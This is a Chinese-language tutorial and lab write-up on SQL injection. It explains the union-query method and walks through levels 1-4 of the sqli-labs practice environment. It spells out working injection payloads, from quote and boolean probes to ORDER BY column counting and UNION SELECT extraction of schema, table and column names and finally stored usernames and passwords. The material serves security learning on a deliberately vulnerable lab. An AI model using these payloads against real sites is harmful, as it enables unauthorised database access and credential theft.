Ps:文章若有逻辑不正确的地方望评论指正!
文章目录
- 前言
- 一、SQL注入
- 二、union联合查询注入
- 三、sqli-labs闯关笔记
前言
Ps:此处描述本文主要内容:
- 文章首先介绍了SQL注入的基本前提、原理及类型;
- 其次着重描述了union联合查询注入方式;
- 最后记录了在sqli-labs靶场的前4关中基于union联合查询注入的基本注入测试思路。
Ps:以下为正文内容,其中案例可供参考
一、SQL注入
1、前提条件
- 前端用户传递到后端服务器的参数是可控的;
- 传递的参数能够被代入到后端服务器中执行相关数据库操作指令。
Ps:通俗点讲就是当前想要进行SQL注入的Web界面是必须是动态网页,即前端数据与后端数据库进行交互,前端页面从后端获取数据信息进行显示。
2、攻击原理
- 前端页面用户通过控制输入的参数信息,即输入特殊拼接的sql代码语句命令;
- 后端数据库对前端用户输入的参数过滤规则等安全设置不严谨;
- 致使后端获取到用户输入的恶意代码后当做后端正常的sql语句代码执行;
- 最后导致系统泄露关键敏感信息、用户绕过系统登录验证并借助数据库存储过程进行提权。
3、主要注入类型
Ps1:按照数据类型分类
1)数字型
2)字符型
3)搜索型
Ps2:按照提交方式分类
1)GET型
2)POST型
3)Cookie型
4) Http请求头注入
Ps3:按照执行效果分类
1)报错注入
2)联合查询盲注
3)盲注
4) 堆查询注入
二、union联合查询注入
1、使用条件
- 页面对不同的查询语句有不同的回显结果
- 根据每一步的返回结果判断和进行下一步操作
2、基本流程
0)判断是否具有sql注入条件
1)判断sql注入漏洞是否存在及类型
2)判断sql查询字段数
3)判断回显点
4) 爆库名
5) 爆表名
6) 爆字段名
7) 爆数据
三、sqli-labs闯关笔记
1、Less-1 GET - Error based - Single quotes -String(基于错误的GET单引号字符型注入)
1) 判断是否存在sql注入条件、sql注入漏洞、sql注入类型
思路之攻击者视角:黑盒测试
- 为了进行sql注入,首先我们需要判断该网页是否具有sql注入的前提条件之一:即是否是动态网页,前后端是否具有数据交互功能;
访问第一关初始主页,提示输入id参数,但是页面没有可输入点,猜测输入点在网页URL处
在网页URL后输入http://localhost:8888/Less-1/?id=1
,页面回显得到两个数据信息,可知该网页是动态网页,具有sql注入的前提条件。
思路之开发人员视角:白盒测试
Ps:虽然真实情况下我们并不能看到,但初级学习阶段可以利用后端代码思考如何进行sql注入
- 查看后端Less-1代码index.php
可看到前端到后端的传参代码:该代码可以从前端页面获取用户输入的参数信息,并传送给后端Web服务器
可看到后端Web服务器中的关键sql查询语句:SELECT * FROM users WHERE id='$id' LIMIT 0,1
;可以看到开发人员在编写代码时获取到的用户参数外添加了字符‘’,因此我们可以根据此代码思考前端进行sql注入时拼接代码欺骗后端服务器该怎么输入相应的sql语句,使其能够在后端服务器中正确执行达到我们想要的执行效果。
该段代码执行的即为后端代码如何利用获取到的前端页面传送的参数在数据库中进行sql查询校验,后端服务器根据校验结果返回给前端不同的页面信息。
思路之回到攻击者视角:在了解完后端开发人员代码编写思路后,我们开始尝试进行sql注入
- 方法步骤1:单引号判断法----最常用和基础的sql注入漏洞是否存在的判断方法,因为无论字符型还是整型都会因为单引号个数不匹配而报错。
输入http://localhost:8888/Less-1/?id=1’
,页面回显错误信息,发现可能存在语法漏洞
进一步探索,输入http://localhost:8888/Less-1/?id=1’ -- -
;页面回显正常,探测到可能后端开发人员的编码是‘’字符型传参
- 方法步骤2:布尔表达式(逻辑与为真和假两种情况)判断法:如果按照正常的逻辑能回显相应的页面,即表示存在sql注入点
输入http://localhost:8888/Less-1/?id=1' and 1=1 -- -
(逻辑与为真),页面回显正常
输入http://localhost:8888/Less-1/?id=1' and 1= 2 -- -
(逻辑与为假),页面没有回显
由此判断该处具有sql注入点,且为字符型注入漏洞 - 判断sql注入漏洞类型
Ps:通常sql注入漏洞分为数字型和字符型两种,具体种类可通过布尔表达式的回显情况判断
输入http://localhost:8888/Less-1/?id=1’ and ‘1’=’1
注入,成功执行
输入http://localhost:8888/Less-1/?id=1’ and 1=1
注入,执行失败
输入http://localhost:8888/Less-1/?id=1’ and 1=1 -- -
注入,成功执行
可看出在加字符情况下回显正常,不加字符情况下回显错误,所以该处为字符型注入漏洞
对应的后端服务器mysql执行语句:
SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1
SELECT * FROM users WHERE id='' or 1=1 ---' LIMIT 0,1
2) 判断sql语句查询的属性字段数
方法:利用order by猜测和判断sql语句查询的属性字段数
判断列数的原因:
- 限制因素:union函数进行联合查询的条件:union前面查询语句查询的元素需要和后面拼接的查询语句查询元素数量一致
order by能够判断列数的原因:
- order by 即对查询的数据进行分组排序,分组排序依据为查询内容的属性,如若前面查询内容总属性为3,如果我们输入order by 4,后端代码执行时就会回显错误信息给前端页面,由此我们就能判断sql语句查询的属性列数。
输入http://localhost:8888/Less-1/?id=1’ order by 3 #
注入,成功执行
输入http://localhost:8888/Less-1/?id=1’ order by 4 -- -
注入,执行失败,探测到sql语句查询属性列数为3
提示:此处猜测判断可通过二分法进行试错
注意:这里突然多了中间的后端sql执行语句是因为在后端sql查询语句执行代码中添加了以下两行代码
echo $sql;
echo "<br>";
3) 判断显示字段位
方法:利用联合函数 union 来查询回显的显示位:
目的:后端代码可能查询n个字段位数,但是显示给前端的只有m个字段位数(m<n),攻击者需要确定哪些位是能看到回显信息的,不然攻击时获取关键信息就很难受
输入http://localhost:8888/Less-1/?id=-1’ union select 1,2,3 -- -
;发现回显出2,3字段位信息,接下来攻击者就可以利用 2,3位字段来显示攻执行sql注入以获取回显的各种数据库信息
Ps:设置id=-1’原因:我们发现前端页面只输出一条记录,因此攻击者利用联合查询函数时为了判断是哪几位可用,并输出到页面提示,就需要设置union前面的查询结果为假,这样自然数据库返回的就是后一条我们攻击者sql注入的查询结果;所以union后面使用selcet 1,2,3时,返回2,3即表示第2,3位为可用的显示位。
4) 爆数据库版本、数据库名
方法:联合利用数据库内置函数对数据库进行sql注入:此处利用了两个内置函数
version()函数:获取当前数据库版本信息
database()函数:获取当前数据库名
输入http://localhost:8888/Less-1/?id=-1' union select 1,2,version() -- -
;爆出当前数据库版本号:5.7.26;
Ps:通过此步可以判断数据库是否具有information_schema基本架构库:mysql5.0以上版本特有,5.0以下版本没有
输入http://localhost:8888/Less-1/?id=-1' union select 1,2,database() -- -
;爆出当前数据库名:security
5) 爆数据库表名、数据库属性字段列名、关键敏感数据信息
方法:联合利用mysql数据库本身的information_schema库的三张关键表的关键字段进行sql注入
information_schema 库爆库语句:
union select group_concat(schema_name)
;涉及schemata表
information_schema 库爆表语句:
union select group_concat(table_name)
;涉及tables表:包含table_shema(数据库名)、table_name(数据表名)字段
information_schema 库爆属性字段语句:
union select group_concat(column_name)
;涉及columns表:包含table_schema、table_name、column_name(属性字段名)字段
输入?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- -
;
爆出security数据库所有表名,并通过group_concat()函数将查询到的表名组合在一起并输出为一条数据:
获取到所有表名后,选择可能包含敏感信息的表进行查询,比如users表。
输入?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- -
;爆出users表属性字段列名。
输入?id=-1' union select 1,2,group_concat(username,'--',password) from security.users -- -
;爆出关键敏感数据信息
或者也可输入?id=-1' union select1,group_concat(username),group_concat(password) from security.users -- -
;使用2,3位查询属性字段列表中的具体值信息
2、Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入漏洞、SQL注入类型
- URL处输入?id=2,页面回显数据信息,判断出具有sql注入条件
- URL处输入
?id=2’
,页面回显错误信息,初步判断具有语法漏洞
- URL处输入
?id=2’ #
,页面回显错误信息
- URL处输入
?id=2 #
,页面回显正常数据信息
- URL处输入
?id=2 and 1=1 #
,页面回显正常数据信息
- URL处输入
?id=2 and 1=2 #
,页面无数据信息回显,判断出此处存在数字型SQL注入漏洞
2) 利用order by二分法探测sql查询属性字段列数 - URL处输入
?id=2 order by 5 #
,页面回显错误信息
- URL处输入
?id=2 order by 3 #
,页面回显正确数据信息
- URL处输入
?id=2 order by 4 #
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
3)利用union联合函数探测回显显示位 - URL处输入
?id=-2 union select 1,2,3 #
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名 - URL处输入
?id=-2 union select 1,version(),database() #
,页面2、3位分别回显数据库版本信息、数据库名
- 此外,通过数据库版本,我们可以获知接下来可以利用其特有的information_schema基础架构库
5) 联合利用inforation_schema库tables表探测security数据库表名 - URL处输入
?id=-2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’seceurity’ #
;可以看到页面第三位爆出securiy库中所有表名
- 根据爆出的所有数据表,我们针对性的挑选可能存在敏感信息的users表继续进行探测
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名 - URL处输入
?id=-2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' #
;可以看到页面第三位爆出users表中所有属性字段列名
7) 探测数据库关键信息 - URL处输入
?id=-2 union select 1,group_concat(username),group_concat(password) from users #
;页面2、3位爆出(username、password)关键敏感信息
3、Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
URL处输入?id=3
,页面回显数据信息,判断出具有sql注入条件
URL处输入?id=3’
,页面回显错误信息,初步判断具有语法漏洞
URL处输入?id=3’ #
,页面回显错误信息
URL处输入?id=3’) -- -
,页面回显正常数据信息
URL处输入?id=3’) and 1=1 -- -
,页面回显正常数据信息
URL处输入?id=3’) and 1=2 -- -
,页面无数据信息回显,判断出此处存在(‘’)字符型SQL注入漏洞
2) 利用order by二分法探测sql查询属性字段列数
URL处输入?id=3’) order by 5 -- -
,页面回显错误信息
URL处输入?id=3’) order by 3 -- -
,页面回显正确数据信息
URL处输入?id=3’) order by 4 -- -
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
3) 利用union联合函数探测回显显示位
URL处输入?id=-3’) union select 1,2,3 -- -
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
URL处输入?id=-3’) union select 1,version(),database() -- -
,页面2、3位分别回显数据库版本信息、数据库名
5) 联合利用inforation_schema库tables表探测security数据库表名
URL处输入?id=-3') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
;可以看到页面第三位爆出securiy库中所有表名
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
URL处输入?id=-3’) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
;可以看到页面第三位爆出users表中所有属性字段列名
7) 探测数据库关键信息
URL处输入?id=-3') union select 1,group_concat(username),group_concat(password) from users -- -
;页面2、3位爆出(username、password)关键敏感信息
4、Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
原理和流程类似第一关
1) 判断是否具有SQL注入条件、是否具有SQL注入点、SQL注入类型
URL处输入?id=4
,页面回显数据信息,判断出具有sql注入前提条件
URL处输入?id=4’
,页面回显错误信息,初步判断具有语法漏洞
URL处输入?id=4\ #
,页面回显错误信息
URL处输入?id=4”) -- -
,页面回显正常数据信息
URL处输入?id=4”) and 1=1 -- -
,页面回显正常数据信息
URL处输入?id=4”) and 1=2 -- -
,页面无数据信息回显,判断出此处存在(“”)字符型SQL注入漏洞
2) 利用order by二分法探测sql查询属性字段列数
URL处输入?id=4”) order by 5 -- -
,页面回显错误信息
URL处输入?id=4”) order by 3 -- -
,页面回显正确数据信息
URL处输入?id=4”) order by 4 -- -
,页面回显正确错误信息,由此可以判断出sql查询属性字段列数为3
3) 利用union联合函数探测回显显示位
URL处输入?id=-4”) union select 1,2,3 -- -
,页面回显2,3位数据信息,由此可以判断出可利用回显显示位为第2、3位
4) 联合利用数据库内置函数:version()/database()探测数据库版本、数据库库名
URL处输入?id=-4”) union select 1,version(),database() -- -
,页面2、3位分别回显数据库版本信息、数据库名
此外,通过数据库版本,我们可以获知接下来可以利用其特有的information_schema基础架构库
5) 联合利用inforation_schema库tables表探测security数据库表名
URL处输入?id=-4") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' -- -
;可以看到页面第三位爆出securiy库中所有表名
根据爆出的所有数据表,我们针对性的挑选可能存在敏感信息的users表继续进行探测
6) 联合利用inforation_schema库columns表探测users数据表属性字段列名
URL处输入?id=-4") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users' -- -
;可以看到页面第三位爆出users表中所有属性字段列名
7) 探测数据库关键信息
URL处输入?id=-4") union select 1,group_concat(username),group_concat(password) from users -- -
;页面2、3位爆出(username、password)关键敏感信息